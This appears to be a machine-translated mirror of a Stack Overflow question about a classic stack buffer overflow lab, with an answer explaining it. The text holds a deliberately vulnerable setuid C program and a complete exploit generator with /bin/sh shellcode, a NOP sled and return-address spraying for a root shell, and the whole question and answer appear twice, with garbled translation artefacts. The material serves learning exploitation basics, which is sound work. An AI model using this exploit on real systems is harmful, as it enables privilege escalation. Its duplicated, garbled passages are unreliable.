C - 缓冲区溢出详细信息
C - Buffer Overflow Details
此特定问题已在 Whosebug 上多次解决,但我找不到任何以前的 post 来解决我的一些问题。我想指出,我已经阅读了 Aleph One 的"Smashing the Stack for Fun and Profit",但我的理解仍然存在差距。
我的问题是:对于 [=13= 的 bof() 中 stack.c 的各种缓冲区大小,此方法有效(生成根 shell) ] 到 buffer[24]
。为什么它对 buffer[48]
不起作用(段错误)(导致段错误),例如(或者,需要如何修改程序才能使其适用于此类缓冲区)?
请注意,编译时会用到以下命令stack.c
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
ASLR 关闭。
首先我们来看一下存在漏洞的程序:
stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
以及利用这个的程序:test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// code to spawn a shell
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE *badfile;
char *ptr;
long *a_ptr;
long *ret;
int offset = 450;
int bsize = 517;
char buffer[bsize];
// a_ptr will store the return address
ptr = buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, bsize);
/* Fill buffer with appropriate contents */
printf("Stack Pointer (ESP): 0x%x\n", get_sp());
ret = get_sp() + offset;
printf("Address: 0x%x\n", ret);
int i;
for (i = 0; i < 350; i += 4)
*(a_ptr++) = ret;
for (i = 450; i < sizeof(shellcode) + 450; i++)
buffer[i] = shellcode[i-450];
buffer[bsize - 1] = '[=12=]';
/*Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
下面我将尝试解释我的想法,并记下我认为我的知识差距在哪里。如果有人有时间检查这个并回答前面提到的问题,那么谢谢。
很明显,stack.c中的buffer[12]
在调用strcpy()时会溢出,因为正在复制一个517大小的字符串放入大小为 12 的缓冲区。
在 test.c 中,我了解到我们正在创建要由 stack.c[=52 读取的恶意缓冲区=].这个缓冲区是用一堆 NO-OP (0x90) 初始化的。除此之外,我有点困惑。
1) 在ret = get_sp() + offset;
中添加到ret 的偏移量有什么意义?还有,为什么是offset = 450
?我已经尝试了其他偏移值,这个程序仍然 运行 (例如 460)。 450 似乎是一个恰好有效的猜测。
2) 在for (i = 0; i < 350; i += 4)
,为什么使用350?我不明白这个值的意义。我相信这个循环正在用 return 地址 ret
填充缓冲区的前 350 个字节,但我不明白为什么它是 350 个字节。我相信我们每次都将 i 增加 4,因为 (long *) 是 4 个字节。如果是这样的话,这个350不应该也是4的倍数吗?
3) 同样,在 for (i = 450; i < sizeof(shellcode) + 450; i++)
(sizeof(shellcode) 是 25),为什么我们在缓冲区中从 450 开始?这就是说我们正在用 shell 代码填充 buffer[450] 到 buffer[475]。目前,之后的所有内容都应初始化为 NO-OP。所以呢?为什么是 450 - 475?
请记住,在像这样的 32 位 x86 程序中,堆栈顶部的字节从最低地址向上保存:局部变量,函数的 return 地址,它的参数,调用者保存的任何寄存器,调用者的局部变量等
循环实际上是将 348 字节的四字节 return 地址写入堆栈顶部。 (它早于 C99 和 x86_64,因此假设 long
恰好是 32 位。)这样做的目的只是为了确保对于局部变量的任何合理存储量,return 地址将被覆盖。它还尝试处理从多个深度调用具有漏洞的函数并且堆栈顶部不再相同的情况。然后是一些带有 nop
指令的填充,因为如果函数 return 到达那里的任何地方, CPU 将跳过它们。最后,还有机器语言的 shell 代码。重点是让 return 地址指向缓冲区的这一部分中的任何位置。请注意,只有当漏洞利用代码可以确定调用者地址 space 中的堆栈指针地址相似时,这才会起作用。地址-space 随机化是一种解决这个问题的技术。
换句话说,代码会自己重复几百次,因为新进程中的东西可能不在完全相同的位置,这样,如果堆栈指针接近它期望的位置,它仍然可以工作.这些值是大概数字,但 Aleph One 谈到了如何找到它们。
此特定问题已在 Whosebug 上多次解决,但我找不到任何以前的 post 来解决我的一些问题。我想指出,我已经阅读了 Aleph One 的"Smashing the Stack for Fun and Profit",但我的理解仍然存在差距。
我的问题是:对于 [=13= 的 bof() 中 stack.c 的各种缓冲区大小,此方法有效(生成根 shell) ] 到 buffer[24]
。为什么它对 buffer[48]
不起作用(段错误)(导致段错误),例如(或者,需要如何修改程序才能使其适用于此类缓冲区)?
请注意,编译时会用到以下命令stack.c
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
ASLR 关闭。
首先我们来看一下存在漏洞的程序: stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
以及利用这个的程序:test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// code to spawn a shell
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE *badfile;
char *ptr;
long *a_ptr;
long *ret;
int offset = 450;
int bsize = 517;
char buffer[bsize];
// a_ptr will store the return address
ptr = buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, bsize);
/* Fill buffer with appropriate contents */
printf("Stack Pointer (ESP): 0x%x\n", get_sp());
ret = get_sp() + offset;
printf("Address: 0x%x\n", ret);
int i;
for (i = 0; i < 350; i += 4)
*(a_ptr++) = ret;
for (i = 450; i < sizeof(shellcode) + 450; i++)
buffer[i] = shellcode[i-450];
buffer[bsize - 1] = '[=12=]';
/*Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
下面我将尝试解释我的想法,并记下我认为我的知识差距在哪里。如果有人有时间检查这个并回答前面提到的问题,那么谢谢。
很明显,stack.c中的buffer[12]
在调用strcpy()时会溢出,因为正在复制一个517大小的字符串放入大小为 12 的缓冲区。
在 test.c 中,我了解到我们正在创建要由 stack.c[=52 读取的恶意缓冲区=].这个缓冲区是用一堆 NO-OP (0x90) 初始化的。除此之外,我有点困惑。
1) 在ret = get_sp() + offset;
中添加到ret 的偏移量有什么意义?还有,为什么是offset = 450
?我已经尝试了其他偏移值,这个程序仍然 运行 (例如 460)。 450 似乎是一个恰好有效的猜测。
2) 在for (i = 0; i < 350; i += 4)
,为什么使用350?我不明白这个值的意义。我相信这个循环正在用 return 地址 ret
填充缓冲区的前 350 个字节,但我不明白为什么它是 350 个字节。我相信我们每次都将 i 增加 4,因为 (long *) 是 4 个字节。如果是这样的话,这个350不应该也是4的倍数吗?
3) 同样,在 for (i = 450; i < sizeof(shellcode) + 450; i++)
(sizeof(shellcode) 是 25),为什么我们在缓冲区中从 450 开始?这就是说我们正在用 shell 代码填充 buffer[450] 到 buffer[475]。目前,之后的所有内容都应初始化为 NO-OP。所以呢?为什么是 450 - 475?
请记住,在像这样的 32 位 x86 程序中,堆栈顶部的字节从最低地址向上保存:局部变量,函数的 return 地址,它的参数,调用者保存的任何寄存器,调用者的局部变量等
循环实际上是将 348 字节的四字节 return 地址写入堆栈顶部。 (它早于 C99 和 x86_64,因此假设 long
恰好是 32 位。)这样做的目的只是为了确保对于局部变量的任何合理存储量,return 地址将被覆盖。它还尝试处理从多个深度调用具有漏洞的函数并且堆栈顶部不再相同的情况。然后是一些带有 nop
指令的填充,因为如果函数 return 到达那里的任何地方, CPU 将跳过它们。最后,还有机器语言的 shell 代码。重点是让 return 地址指向缓冲区的这一部分中的任何位置。请注意,只有当漏洞利用代码可以确定调用者地址 space 中的堆栈指针地址相似时,这才会起作用。地址-space 随机化是一种解决这个问题的技术。
换句话说,代码会自己重复几百次,因为新进程中的东西可能不在完全相同的位置,这样,如果堆栈指针接近它期望的位置,它仍然可以工作.这些值是大概数字,但 Aleph One 谈到了如何找到它们。